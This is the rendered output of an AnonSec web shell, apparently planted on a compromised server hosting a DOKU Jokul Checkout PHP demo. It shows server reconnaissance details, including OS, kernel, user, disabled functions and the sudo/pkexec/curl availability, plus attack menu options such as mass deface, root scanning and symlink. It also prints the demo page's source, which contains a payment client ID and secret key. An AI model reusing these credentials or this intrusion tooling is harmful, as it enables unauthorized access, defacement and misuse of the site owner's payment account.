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/  Your IP : 104.23.243.116   [ Reverse IP ]
Web Server : nginx/1.18.0
System : Linux ip-172-31-29-104 5.15.0-1075-aws #82~20.04.1-Ubuntu SMP Thu Dec 19 05:24:09 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/app/karina/prd/doku/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/app/karina/prd/doku/index2.php
<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <meta name="description"
          content="Demo application to show you the process of endTo-end payment using Jokul Checkout">

    <title>Jokul Checkout PHP Example Project</title>

    <!-- Favicon -->
    <link rel="shortcut icon" type="image/png" href="https://cdn-doku.oss-ap-southeast-5.aliyuncs.com/doku-ui-framework/doku/img/favicon.png"/>

    <link rel="stylesheet" href="https://cdn-doku.oss-ap-southeast-5.aliyuncs.com/doku-ui-framework/doku/stylesheet/css/main.css">
    <!-- Font Awesome -->
    <link rel="stylesheet" href="https://use.fontawesome.com/releases/v5.8.2/css/all.css" integrity="sha384-oS3vJWv+0UjzBfQzYUhtDYW+Pj2yciDJxpsK1OYPAYjqT085Qq/1cq5FLXAZQ7Ay" crossorigin="anonymous">

    <script src="https://cdn.jsdelivr.net/npm/sweetalert2@9"></script>

    <!-- Load Jokul Checkout JS script -->
    <script src="https://sandbox.doku.com/jokul-checkout-js/v1/jokul-checkout-1.0.0.js"></script>

    <script src="https://cdn-doku.oss-ap-southeast-5.aliyuncs.com/doku-ui-framework/doku/js/jquery-3.3.1.min.js"></script>
    <!-- Popper and Bootstrap JS -->
    <script src="https://cdn-doku.oss-ap-southeast-5.aliyuncs.com/doku-ui-framework/doku/js/popper.min.js"></script>
    <script src="https://cdn-doku.oss-ap-southeast-5.aliyuncs.com/doku-ui-framework/doku/js/bootstrap.min.js"></script>


</head>

<body>
<div class="d-flex flex-column flex-md-row align-items-center p-3 px-md-4 mb-3 bg-white border-bottom shadow-sm">
    <div class="container">
        <div class="row">
            <div class="col">
                <img src="https://cdn-doku.oss-ap-southeast-5.aliyuncs.com/doku-ui-framework/doku/img/doku1.png"
                     width="20" height="20" class="mr-2"  alt="DOKU Logo"><h5 class="d-inline font-weight-normal">Jokul Demo Store</h5>
            </div>
        </div>
    </div>
</div>
<div class="container">
    <div class="row d-flex">
        <div class="col-12 col-md-5 order-md-2 mb-4 mb-md-0">
            <h4 class="d-flex justify-content-between align-items-center mb-3">
                <span>Cart</span>
                <span class="badge badge-secondary badge-pill">1</span>
            </h4>

            <ul class="list-group mb-3">
                <li class="list-group-item d-flex justify-content-between lh-condensed">
                    <div class="d-flex">
                        <div class="mr-1">
                            <img src="https://cdn-doku.oss-ap-southeast-5.aliyuncs.com/doku-ui-framework/doku/img/doku1.png"
                                 alt="DOKU Plate" class="img-fluid" width="75" height="75">
                        </div>

                        <div class="mr-1">
                            <h6 class="my-0">DOKU Plate</h6>
                            <small class="text-muted">Size: 14cm | Color: Red</small>
                        </div>

                        <div class="form-group">
                            <div class="input-group">
                                <div class="input-group-prepend">
                                    <span class="input-group-text dk-span-group">IDR</span>
                                </div>
                                <input type="number" class="form-control dk-text-input" id="amount" placeholder="120000"
                                       value="120000">
                            </div>
                        </div>

                    </div>

                </li>
            </ul>

            <a class="btn btn-lg btn-default btn-block" data-toggle="modal" data-target="#configuration"><i
                    class="fas fa-cogs"></i> Setup Configuration</a>
        </div>

        <div class="col-12 col-md-7 order-md-1">
            <h4>Checkout</h4>
            <form id="formRequestData" class="needs-validation" novalidate>

                <div class="card">
                    <div class="card-body">
                        <div class="row">
                            <div class="col-12">
                                <div class="mb-3">
                                    <label>Name</label>
                                    <input type="text" class="form-control dk-text-input" id="customerName" name="customerName"
                                           placeholder="Anton Budiman"
                                           value="Anton Budiman" required>
                                    <div class="invalid-feedback">
                                        Valid name is required.
                                    </div>
                                </div>

                                <div class="mb-3">
                                    <label>Email</label>
                                    <input type="email" class="form-control dk-text-input" id="email" name="email"
                                           placeholder="you@example.com"
                                           value="anton@budiman.com" required>
                                    <div class="invalid-feedback">
                                        Please enter a valid email address for shipping updates.
                                    </div>
                                </div>

                                <div class="mb-3">
                                    <label>Phone Number</label>
                                    <input type="text" class="form-control dk-text-input" id="phoneNumber" name="phoneNumber"
                                           placeholder="6281111111111"
                                           value="6281111111111" required>
                                    <div class="invalid-feedback">
                                        Please enter a valid phone number for shipping updates.
                                    </div>
                                </div>

                                <div class="mb-3">
                                    <label for="address">Address</label>
                                    <input type="text" class="form-control dk-text-input" id="address"
                                           placeholder="Menara Mulia" name="address"
                                           value="Menara Mulia" required>
                                    <div class="invalid-feedback">
                                        Please enter your shipping address.
                                    </div>
                                </div>

                                <div class="row">
                                    <div class="col-md-5 mb-3">
                                        <label for="country">Country</label>
                                        <select class="form-control" id="country" name="country" required>
                                            <option value="ID" selected>Indonesia</option>
                                        </select>
                                        <div class="invalid-feedback">
                                            Please select a valid country.
                                        </div>
                                    </div>
                                    <div class="col-md-4 mb-3">
                                        <label>City</label>
                                        <select class="form-control" id="province" required>
                                            <option value="Jakarta" selected>Jakarta</option>
                                        </select>
                                        <div class="invalid-feedback">
                                            Please provide a valid state.
                                        </div>
                                    </div>
                                    <div class="col-md-3 mb-3">
                                        <label>Postal Code</label>
                                        <input type="text" class="form-control dk-text-input"
                                               id="postalCode" name="postalCode"
                                               value="12930"
                                               required>
                                        <div class="invalid-feedback">
                                            Postal code required.
                                        </div>
                                    </div>
                                </div>

                                <button class="btn btn-primary btn-lg btn-block mb-3">Purchase</button>
                            </div>
                        </div>
                    </div>
                </div>
            </form>
        </div>
    </div>

    <hr>

    <div class="row mt-3">
        <div class="col">
            <div class="card">
                <div class="card-body text-center">
                    <h3>Ready to Integrate with Jokul?</h3>
                    <p class="text-muted">
                        Register your business and accept payment within few steps
                    </p>
                    <p>
                        <a class="btn btn-primary" href="https://jokul.doku.com">SIGN UP NOW</a>
                    </p>
                </div>
            </div>
        </div>
    </div>
</div>

<footer class="container-fluid p-3 px-md-4 mt-3 bg-white shadow-sm">
    <div class="row text-center">
        <div class="col-12">
            <img class="mb-2"
                 src="https://cdn-doku.oss-ap-southeast-5.aliyuncs.com/doku-ui-framework/doku/img/doku-logo1.svg" alt=""
                 width="24" height="24">
            <small class="d-inline ml-1 mb-3 text-muted">&copy; 2020</small>
        </div>
    </div>
</footer>


<!-- Configuration Modal -->
<div class="modal fade" id="configuration" tabindex="-1" role="dialog" aria-labelledby="configuration"
     aria-hidden="true">
    <div class="modal-dialog modal-lg">
        <div class="modal-content">
            <div class="modal-header">
                <h5 class="modal-title">Configuration</h5>
                <button type="button" class="close" data-dismiss="modal" aria-label="Close">
                    <span aria-hidden="true">&times;</span>
                </button>
            </div>
            <div class="modal-body mb-3">
                <div class="container-fluid">
                    <div class="row">
                        <div class="col-12">
                            <h4 class="mb-3">Credentials</h4>

                            <form id="formConfig" class="needs-validation" novalidate>
                                <div class="mb-3">
                                    <label>Client ID</label>
                                    <input type="text" class="form-control dk-text-input" id="clientId" name="clientId"
                                           placeholder="BRN-0276-1711947012408" value="BRN-0276-1711947012408"
                                           required>
                                    <div class="invalid-feedback">
                                        Client ID is required.
                                    </div>
                                </div>

                                <div class="mb-3">
                                    <label>Secret Key</label>
                                    <input type="text" class="form-control dk-text-input" id="sharedKey"
                                           name="sharedKey"
                                           placeholder="SK-oZPPy2fUZXIahASxAw65" value="SK-oZPPy2fUZXIahASxAw65"
                                           required>
                                    <div class="invalid-feedback">
                                        Secret Key is required.
                                    </div>
                                </div>

                                <hr class="my-3">

                                <h4 class="mb-3">Payment Settings</h4>

                                <div class="mb-3">
                                    <label for="expiredTime">Expired Time</label>
                                    <input type="number" class="form-control dk-text-input" id="expiredTime"
                                           placeholder="60" value="60">
                                    <div class="invalid-feedback">
                                        Expired Time is not valid.
                                    </div>
                                </div>

                                <button class="btn btn-primary btn-lg btn-block">Save Configuration</button>
                            </form>
                        </div>
                    </div>
                </div>
            </div>
        </div>
    </div>
</div>
</body>

<script>
    $("#formConfig").submit(function (e) {
        $('#configuration').modal('hide');
        Swal.fire({
            icon: 'success',
            title: 'Success',
            text: 'Configuration has been setup',
            confirmButtonText: 'Close',
        })

        e.preventDefault();
        return false;
    });


    $("#formRequestData").submit(function (e) {
        let unindexed_array_config = $('#formConfig').serializeArray();
        let unindexed_array_payment_request = $('#formRequestData').serializeArray();
        let indexed_array = {};

        $.map(unindexed_array_config, function (n) {
            indexed_array[n['name']] = n['value'];
        });

        $.map(unindexed_array_payment_request, function (n, i) {
            indexed_array[n['name']] = n['value'];
        });

        indexed_array['clientId'] = $("#clientId").val();
        indexed_array['sharedKey'] = $("#sharedKey").val();
        indexed_array['customerName'] = $("#customerName").val();
        indexed_array['email'] = $("#email").val();
        indexed_array['phoneNumber'] = $("#phoneNumber").val();
        indexed_array['address'] = $("#address").val();
        indexed_array['country'] = $("#country option:selected").val();
        indexed_array['expiredTime'] = parseInt($("#expiredTime").val());
        indexed_array['amount'] = $("#amount").val();

        $.ajax({
            type: "POST",
            dataType: "JSON",
            data: JSON.stringify(indexed_array),
            url: "jokul-checkout/jokul-checkout.php",
            contentType: "application/json",
            success: function (result) {
                loadJokulCheckout(result.response.payment.url);
            },
            error: function(xhr, textStatus, error){
                Swal.fire({
                    icon: 'error',
                    title: 'Order Failed',
                    confirmButtonText: 'Close',
                })
            }

        });
        e.preventDefault();
        return false;
    });


</script>

</html>

Anon7 - 2022
AnonSec Team